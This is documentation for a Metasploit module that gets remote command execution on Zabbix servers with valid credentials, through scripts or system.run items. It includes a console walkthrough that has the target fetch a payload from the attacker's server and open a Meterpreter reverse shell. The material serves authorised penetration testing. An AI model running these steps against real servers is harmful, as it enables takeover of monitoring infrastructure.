## Vulnerable Application

### Description

Zabbix server allow remote command execution by two different way.

The first way happen with the directive `AllowKey=system.run[*]` [[1]](https://blog.zabbix.com/zabbix-remote-commands/7500/#system.run).

This directive is disabled by default, if an attacker already know Zabbix credentials 
and the directive is enabled, he can abuse this functionality to take control over the Zabbix server.

The second way is by creating a script 
[[2]](https://www.zabbix.com/documentation/devel/en/manual/web_interface/frontend_sections/administration/scripts) 
in Zabbix and use it on a host.

### Setup

An easy way to setup a Zabbix server is to download and run their [appliance](https://www.zabbix.com/download_appliance).

## Verification Steps

Follow [Setup](#setup) and [Scenarios](#scenarios).

## Targets

### 0

This uses a Linux dropper to execute code.

### 1

This executes a Unix command.

## Options

### TECHNIQUE

#### script
If this option is set, the exploit will try to use a script, in order to achieve RCE.

#### item
If this option is set, the exploit will try to use the key `system.run[*]` in an item, in order to achieve RCE, only works in Zabix >= 3.0.
This only work on a non default Zabbix server configuration, where 
the directive `AllowKey=system.run[*]` is enabled in the `zabbix-agentd.conf` file.

### TLS_PSK
Communication between an agent and the server can be encrypted with TLS using a PSK (pre-shared key).

If the server is configured to enforce that, you have to get the key from the web interface (browse inside a host 
and navigate to `Encryption` tab) and specify it with this option, otherwise RCE is not gonna happen.

### TLS_PSK_IDENTITY

This is also inside an host, in the `Encryption` tab.

## Scenarios

### Zabbix server from [VMWare](#setup).

```
msf > use exploit/multi/http/zabbix_script_exec
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
msf exploit(multi/http/zabbix_script_exec) > set RHOSTS 192.168.0.130
RHOSTS => 192.168.0.130
msf exploit(multi/http/zabbix_script_exec) > set USE_ITEM true
USE_ITEM => true
msf exploit(multi/http/zabbix_script_exec) > set LHOST eth0
LHOST => 192.168.0.129
msf exploit(multi/http/zabbix_script_exec) > run
[*] Started reverse TCP handler on 192.168.0.129:4444 
[+] Successfully logged in
[*] Getting a valid group id...
[*] Creating a host called kTsSUTGmgKCwcsbMjZ
[*] Using URL: http://0.0.0.0:8081/4J54NLVPQsj
[*] Local IP: http://127.0.0.1:8081/4J54NLVPQsj
[*] Creating an item called MkMczJNYyEoSBTwsBG
[*] Client 192.168.0.130 (curl/7.25.0 (i586-suse-linux-gnu) libcurl/7.25.0 OpenSSL/1.0.1c zlib/1.2.7 libidn/1.25 libssh2/1.4.0) requested /4J54NLVPQsj
[*] Sending payload to 192.168.0.130 (curl/7.25.0 (i586-suse-linux-gnu) libcurl/7.25.0 OpenSSL/1.0.1c zlib/1.2.7 libidn/1.25 libssh2/1.4.0)
[*] Sending stage (984904 bytes) to 192.168.0.130
[*] Meterpreter session 1 opened (192.168.0.129:4444 -> 192.168.0.130:33354 ) at 2022-01-08 01:20:47 +0000
[*] Server stopped.

meterpreter > getuid
Server username: zabbix
meterpreter > 
```
